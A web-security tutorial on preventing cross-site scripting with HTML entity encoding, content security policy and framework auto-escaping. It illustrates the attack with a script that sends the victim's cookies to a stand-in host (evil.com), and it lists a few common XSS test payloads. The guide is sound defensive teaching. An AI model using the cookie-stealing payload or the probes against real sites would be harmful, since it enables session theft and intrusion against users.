NC Logo UseToolSuite
Web Security

XSS Prevention with HTML Entity Encoding

Learn how cross-site scripting (XSS) attacks work and how HTML entity encoding prevents them. Practical examples for JavaScript and server-side frameworks.

Necmeddin Cunedioglu Necmeddin Cunedioglu

Practice what you learn

HTML Entity Encoder / Decoder

Try it free →

XSS Prevention with HTML Entity Encoding

Cross-Site Scripting (XSS) is one of the most common web security vulnerabilities. HTML entity encoding is your first line of defense.

How XSS Works

XSS attacks inject malicious scripts into web pages that other users view. The attack exploits trust — the browser trusts content served by the website and executes any JavaScript it contains.

Vulnerable code:

<p>Welcome, ${username}!</p>

Attack input:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

If the username is rendered without encoding, the browser executes the script, sending the user’s cookies to the attacker.

How HTML Entity Encoding Prevents XSS

Entity encoding converts dangerous characters into their HTML entity equivalents:

CharacterEntityPurpose
<&lt;Prevents tag opening
>&gt;Prevents tag closing
&&amp;Prevents entity injection
"&quot;Prevents attribute escape
'&#x27;Prevents attribute escape

After encoding, the attack input becomes harmless visible text:

<p>Welcome, &lt;script&gt;document.location=...&lt;/script&gt;!</p>

The browser displays the text literally instead of executing it.

Encode text instantly with our HTML Entity Encoder/Decoder.

Types of XSS

Stored XSS (Persistent)

Malicious script is stored in the database (e.g., in a comment or profile field) and served to every user who views the page. This is the most dangerous type.

Reflected XSS

Malicious script is included in a URL parameter and reflected in the response. The attacker tricks users into clicking a crafted link.

DOM-based XSS

Malicious script is injected through client-side JavaScript manipulating the DOM, typically via innerHTML, document.write(), or URL hash fragments.

Defense Strategies

1. Output Encoding (Primary Defense)

Always encode user-generated content before rendering:

// ❌ UNSAFE
element.innerHTML = userInput;

// ✅ SAFE
element.textContent = userInput;

textContent automatically escapes HTML characters. Never use innerHTML with untrusted data.

2. Content Security Policy (CSP)

Add a CSP header to prevent inline scripts:

Content-Security-Policy: default-src 'self'; script-src 'self'

This blocks <script> tags injected by attackers even if encoding is missed.

3. Framework Auto-Escaping

Modern frameworks auto-escape by default:

  • React — JSX auto-escapes. Only dangerouslySetInnerHTML bypasses it.
  • Vue — Template interpolation {{ }} auto-escapes. Only v-html is unsafe.
  • Astro — Expressions in templates are auto-escaped.
  • Angular — Binds are auto-sanitized.

4. Context-Aware Encoding

Different contexts need different encoding:

ContextEncodingExample
HTML bodyHTML entities&lt;script&gt;
HTML attributesHTML entities&quot;value&quot;
JavaScript stringsJS escaping\x3Cscript\x3E
URLsPercent encoding%3Cscript%3E
CSS valuesCSS escaping\3C script\3E

Encode for URLs with our URL Encoder/Decoder.

Testing for XSS

Test your application with common XSS payloads:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
"><script>alert('XSS')</script>
javascript:alert('XSS')

If any of these render as executable code, your application is vulnerable.


This article is part of our Encoding and Hashing Guide series.

Necmeddin Cunedioglu
Necmeddin Cunedioglu Author

Software developer and the creator of UseToolSuite. I write about the tools and techniques I use daily as a developer — practical guides based on real experience, not theory.